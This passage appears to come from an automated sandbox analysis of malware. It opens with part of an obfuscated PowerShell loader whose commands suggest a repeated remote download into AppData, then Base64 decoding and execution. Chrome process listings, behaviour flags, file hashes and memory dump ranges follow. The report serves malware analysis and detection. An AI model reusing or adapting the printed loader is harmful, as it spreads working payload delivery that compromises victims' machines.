niSIndbhBegye stolEftelP,pi\ ArsvOp,i1.kra. Ask0Fimr\Syrap en oM,liwAfgaeSt drRetssfolkh MoueBagglMe.il,ans.LdgaeUdspx No.eE.tr ';&($Fastlaast) (cangler 'Unim$ TypGBl kbPt raskrmkNonrkskrae ibonChri=Trop$ Sowe Infn.annv por:hallw CroiRen.nEma,dCrowiEncarha.n ') ;&($Fastlaast) (cangler ' Rid$ .ecASprir iltbC.nteSkn,jEk adGon sTradrFyldu ThatZiggi D,un S ieIntenSom.= esp$Ar.lG E.mbC,ataRa.ckEftekUsneeSonnnEnga+Chry$ S fAun,ermestb.elfeFootj MotdEbensC,lorSakru,jertk ali ,sknF,dneG ngn agn ') ;&($Fastlaast) (cangler 'Phot$ DisUIn knEksprMoiduA anpInsht R,duAnser Hjse J.edRo,i Geo =Stor R.di( Upp(Syfig TegwEthymRepoi.rif EufowConvi Udtn Zin3S.bm2afla_Fo.sp lar NyeoGeofcDilee L.ssTitasDip Indb-oberFFnom nreP K.nrC,nto Fdsc S.ieAlabsOpdasArmmI De,dBl,w=Vest$Stan{StadP ,leIKontDTakt} Del)Budd. rfsCNucao AudmFortmWkpraStern Sled B bL EvoiDrmmnSbehe Est)Skru S.il- FussTurbp KallOrkeiOrakt Sin Ef,[IcelcOmgah Dr aBifurApos]Blgc3 ost4Preb ');&($Fastlaast) (cangler 'Bi,l$B,ngAVower ModrUblooSs eg KalaDokutF leeQuar Spal=Ytta Pala$ DauU.egnnNatirBeneuSuccpUvirtD duu C.mrAarveFokud Psy[Brdr$ WalUunconTheorEr nuPt.rpTauttMoniuMindrObl.eNat dKvar. S ocUregoPreluAlpen Op tPe.i-Beko2Ov.r]Ches ');&($Fastlaast) (cangler 'Li h$Av,uLTe ma PhagBegreBiodrR.fifPneuoCr wrKvr,vLdgaa G nlFrugt Ovee UnirSkornSe aeVver=P ec(UndeTArs.e,horsskritSkem-RevaPLo iarevatXa thSynt Dist$RetaAProlrUdkmb Afve BanjAgardD.mbsHygrrE.ekuIndutJ.uriTrannVolteChonnSols)Ac,d Cho.-ProfA BrunFeltdChlo Rek(Bil,[.irmI.ungnStatt UfePAnaltManirAllo]Ch o:u.li:Grots L.eipartzProue Op. Inco-H,geeAn.oqPasc ,tri8Spl ) Spa ') ;if ($Lagerforvalterne) {&$Arbejdsrutinen $Arrogate;} else {;$Seawalls=cangler 'S,ndSH.motFortaQuadr UnctFler- T.mBKiteiLbskt usys.ektT UnarOscua,phinBukksCharf.nexeSkycrPals Lig -Ca,iSAdv,oTe,euOptirre,acFoure Pat Re,r$ecthDShugaHighnAmarbStagoH.ra T.mm- ActD ,ereSubss,ackt Sthikunon oniaF sktSo,diAnneogoodnEadi tilo$Al fG OvebImdeaSubskPrurkStereP ysn Dia ';&($Fastlaast) (cangler 'Daug$y.chGProtb ResaEn,okAntik ordeYog.nCh r=Aggl$,ypeeS.ednPri,vUnde:SociaConcpni spO sidSod,a tilt Upca Mus ') ;&($Fastlaast) (cangler 'AdviIIldlmUndep .utoB sgrO.lot The-MestMspi,oExotdSitauCarbl UnpeLath Co eB IndiAvi,tReprs Le,T .urr ubaDilenNeursSun,fAlaneB.lyrProt ') ;$Gbakken=$Gbakken+'\Arboureous.Whi';while (-not $Konversatietonsleksika) {&($Fastlaast) (cangler 'Stje$RejsKOscuoUnnenpolyvPat,eAtomrSabesJudia RehtHos iGineeappltForboIchtnPeris PerlBalle KrikLimos.adeiCordkSpilaGang=Do,s(UnsyTBoateScr sStortStou-,uggP FllaUbentKivehDomi B,o$SkabGKranb,aska ,rakHetekUs.seCentnCinc)Non, ') ;&($Fastlaast) $Seawalls;&($Fastlaast) (cangler 'TeleS evitRec,aHoerrAd itProc-ArguSBe,rlToveeF,gteFin.pAstr Excu5Hjti ');}&($Fastlaast) (cangler 'Squi$solbU FlanImbee arjxphartCr crM,shaCeravTiltaMyofgchona Tranvejrt evnlt,icy Wit P ov=Alau IlanGMarkeUntrtK,mm-NonzCEmuloBaadnUnsetL.pieTwisnNarrtRyde Fri,$An.lGdashbTu.taawe,k Glok peke trin Par ');&($Fastlaast) (cangler 'B.gg$TovfGS.ksa,ibifstalfSecrk Kony SataAsp.8H st4Sote euk=Fuld Har[Hi.pSArr,yTortsSn gtAfspeIr.emSbeu. Sj,C.lidoKohon Arav KipeB.ndr D ctUfor]Skaa:Knud: CypF EtyrUvurooverm upeB oua SttsIndveEnvi6 ili4RestSBrustUnprrBenhi Nonn.itog ,ke(Ane.$NocuUSolinsw,eeFriaxTetrtNoner.rosaB.pyvThe,a icgFo,oaColln G,ntArm.lPauly iss)Nokt ');&($Fastlaast) (cangler 'Scr,$R,teMPoseu kali ersr ArcbBroauEnvir.endnT an Resu= ato Col,[PrivSA.asyFalls SvmtTrameBailmF ag.Dr.gTTer.e TroxElastbleg. UryEPr enM,crc su,oPropdFngsiCompnIsotghumi] .in:Hugg:TripAvandSRombC,xymISascIHind.OptaGWeskeTitetTeknS.ejrtUnblrDiagiP ysnSadegAlmu(Citr$ InaG LapaForkfKrsef Chik estyFrogaFrik8Rows4 ,ab)Podd ');&($Fastlaast) (cangler ' Fl,$circSMilikReklnFlawhlatte DisdCheksPantpFreml BygeCountmisatDe,re Ldin imb=Fors$MythM ,ypuEctoim.dsrernabAstruToplrSvinnKonk.ReplsJagluWas.bUdt s A.ptFascr Prgi .atnCr.pgMyog(No.k3Atte2 Tit0 Uns7Diss0Burt9Asci, Ove3 Afl9Komm3Impe2Re,i3De,e) Enf ');&($Fastlaast) $Sknhedspletten;}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffb214a9758,0x7ffb214a9768,0x7ffb214a97782⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1800 --field-trial-handle=2016,i,4275541228204192123,2574985378715034903,131072 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=2016,i,4275541228204192123,2574985378715034903,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2124 --field-trial-handle=2016,i,4275541228204192123,2574985378715034903,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3056 --field-trial-handle=2016,i,4275541228204192123,2574985378715034903,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3064 --field-trial-handle=2016,i,4275541228204192123,2574985378715034903,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4752 --field-trial-handle=2016,i,4275541228204192123,2574985378715034903,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5160 --field-trial-handle=2016,i,4275541228204192123,2574985378715034903,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5260 --field-trial-handle=2016,i,4275541228204192123,2574985378715034903,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5468 --field-trial-handle=2016,i,4275541228204192123,2574985378715034903,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1696 --field-trial-handle=2016,i,4275541228204192123,2574985378715034903,131072 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent StateFilesize
1KB
MD5bf809b02bb7554e758a9424b99ac4580
SHA170041c736ed1cc69371c68f7e56a4e7e011b41db
SHA25691b73897ab60ba044c2deaa17fd16abc38d763202b3b28800ece1739c8a06c22
SHA51246994960d2885ec560c615278973fa22a6584390112474363b993cf4db6b4414b7299902b2fffae90a60de3bdc5c584b6c6068b937bf60f183110ba0c07547ba
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurityFilesize
369B
MD58962d86a91ff68f3de9bc395a7de40df
SHA143badc0574ca4e85c54b6e01fca4407d32c83e62
SHA256188e39b11b8458c864fd1eae8b6aad131ad2e315aa161eafb597ef24cee39835
SHA512b129eabf8dcbe24ed3f08bc94688e020a375f9821065a653a214a7204a9203e5db927c69806fa1a88e4204039ddf26e9484602ccc605268f9dadfa3ef7b4bd9c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
6KB
MD58f650559755c7b75a13fd1547ec65113
SHA1e68f098b0b5d27a9ab239c820a6cefdea2bb7d00
SHA256eca40848e0324f2083e1f71e73f1789f2f7ffef80f38b9ca1cf15ef41bf75010
SHA512bfc4dec264b2700b373f869a6f51bedeb941f9d8f57a9fe9dd8b92430c2e331796e5fbb3ae98d85fa0f513da7b455ab86504c4c75df04a30eef6a4eeb8e8fcb5
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
6KB
MD519cd90eca2a23dd08e1122cbcc35ff63
SHA130b00889098ed406b7dd104cfc3cba803e8d1478
SHA25609225e837e773742b3b8d8eadc529f1210683f6c67e11442b7d8428cafcd5a05
SHA5120052374670d6ac44b741c9f16ced7da9c5999a39148c5a142f621cc2c78a66c4968346c8625c6cf61ff3cf651b4b4de4e9da37bfcbe0dcce3c61e921d4e428c1
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure PreferencesFilesize
15KB
MD5f4351dc81c2eff766a056d3e516a6855
SHA128231fb5f6f35839b567ff1760351212042d65fe
SHA25616716159db974fbcdbbb31e5c12d291183e9c4014229e5fe7d62c468ed9d1458
SHA51201edd0052c2fd12ec4e516e8235e15bfae1050af676ead261c81bf14e929065ffb47f4254c868a6abdde37100b354659c832dadee8639526661476cd4693c499
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateFilesize
258KB
MD50033ae9ea1695c8250df5464ac0426a8
SHA1864e2424902d12fdc75b2efbad6b01838fc0f725
SHA256ce6e6f64229bd8df5574fd85551dde4894b7e58651df5ea4d70e5986fbfce1d7
SHA51213666e6427653b2c7041fb31f98ebed111f87fadf9649b903f11048195b6389e8f3d5c67f63b40dd2aee6bc18c29c39a4c14b4182ce22126e585558a66dce809
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.jsonFilesize
2B
MD599914b932bd37a50b983c5e7c90ae93b
SHA1bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA25644136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
SHA51227c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5d096831023867930e62e6d8b3d4d8ca6
SHA1404a1e73dc1590f1c8b9327c396591567dac7365
SHA256167f75b42ae614a8d6b0497779ff12f09605328533487f235b029e0db03ad23b
SHA51231333100ddd8e04bf730118ea800843720c0f3fb69e27b89dda7fa4d717d25e838ad55a0919d47a44dd8a78d724ef8c105cfa230987cc46ba94a2b790ff91b75
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qjppqzrw.eit.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
\??\pipe\crashpad_4032_ICSSERPVMGTRENSLMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/1556-39-0x0000000007ED0000-0x0000000008474000-memory.dmpFilesize
5.6MB
-
memory/1556-19-0x0000000005680000-0x0000000005CA8000-memory.dmpFilesize
6.2MB
-
memory/1556-27-0x0000000006000000-0x0000000006066000-memory.dmpFilesize
408KB
-
memory/1556-32-0x0000000006170000-0x00000000064C4000-memory.dmpFilesize
3.3MB
-
memory/1556-33-0x0000000006630000-0x000000000664E000-memory.dmpFilesize
120KB
-
memory/1556-34-0x0000000006680000-0x00000000066CC000-memory.dmpFilesize
304KB
-
memory/1556-35-0x0000000005040000-0x0000000005050000-memory.dmpFilesize
64KB
-
memory/1556-36-0x0000000007880000-0x0000000007916000-memory.dmpFilesize
600KB
-
memory/1556-37-0x0000000006B40000-0x0000000006B5A000-memory.dmpFilesize
104KB
-
memory/1556-38-0x0000000006B90000-0x0000000006BB2000-memory.dmpFilesize
136KB
-
memory/1556-15-0x0000000004FC0000-0x0000000004FF6000-memory.dmpFilesize
216KB
-
memory/1556-40-0x0000000008B00000-0x000000000917A000-memory.dmpFilesize
6.5MB
-
memory/1556-41-0x0000000007C20000-0x0000000007C42000-memory.dmpFilesize
136KB
-
memory/1556-42-0x0000000007CB0000-0x0000000007CC4000-memory.dmpFilesize
80KB
-
memory/1556-16-0x00000000745F0000-0x0000000074DA0000-memory.dmpFilesize
7.7MB
-
memory/1556-18-0x0000000005040000-0x0000000005050000-memory.dmpFilesize
64KB
-
memory/1556-17-0x0000000005040000-0x0000000005050000-memory.dmpFilesize
64KB
-
memory/1556-21-0x0000000005F20000-0x0000000005F86000-memory.dmpFilesize
408KB
-
memory/1556-48-0x00000000745F0000-0x0000000074DA0000-memory.dmpFilesize
7.7MB
-
memory/1556-49-0x0000000005040000-0x0000000005050000-memory.dmpFilesize
64KB
-
memory/1556-50-0x0000000005040000-0x0000000005050000-memory.dmpFilesize
64KB
-
memory/1556-51-0x0000000005040000-0x0000000005050000-memory.dmpFilesize
64KB
-
memory/1556-54-0x00000000745F0000-0x0000000074DA0000-memory.dmpFilesize
7.7MB
-
memory/1556-20-0x0000000005D00000-0x0000000005D22000-memory.dmpFilesize
136KB
-
memory/4128-58-0x00007FFB20A00000-0x00007FFB214C1000-memory.dmpFilesize
10.8MB
-
memory/4128-47-0x000001AD1ADB0000-0x000001AD1ADC0000-memory.dmpFilesize
64KB
-
memory/4128-45-0x000001AD1ADB0000-0x000001AD1ADC0000-memory.dmpFilesize
64KB
-
memory/4128-44-0x000001AD1ADB0000-0x000001AD1ADC0000-memory.dmpFilesize
64KB
-
memory/4128-43-0x00007FFB20A00000-0x00007FFB214C1000-memory.dmpFilesize
10.8MB
-
memory/4128-7-0x000001AD1ACE0000-0x000001AD1AD02000-memory.dmpFilesize
136KB
-
memory/4128-13-0x000001AD1ADB0000-0x000001AD1ADC0000-memory.dmpFilesize
64KB
-
memory/4128-14-0x000001AD1ADB0000-0x000001AD1ADC0000-memory.dmpFilesize
64KB
-
memory/4128-12-0x00007FFB20A00000-0x00007FFB214C1000-memory.dmpFilesize
10.8MB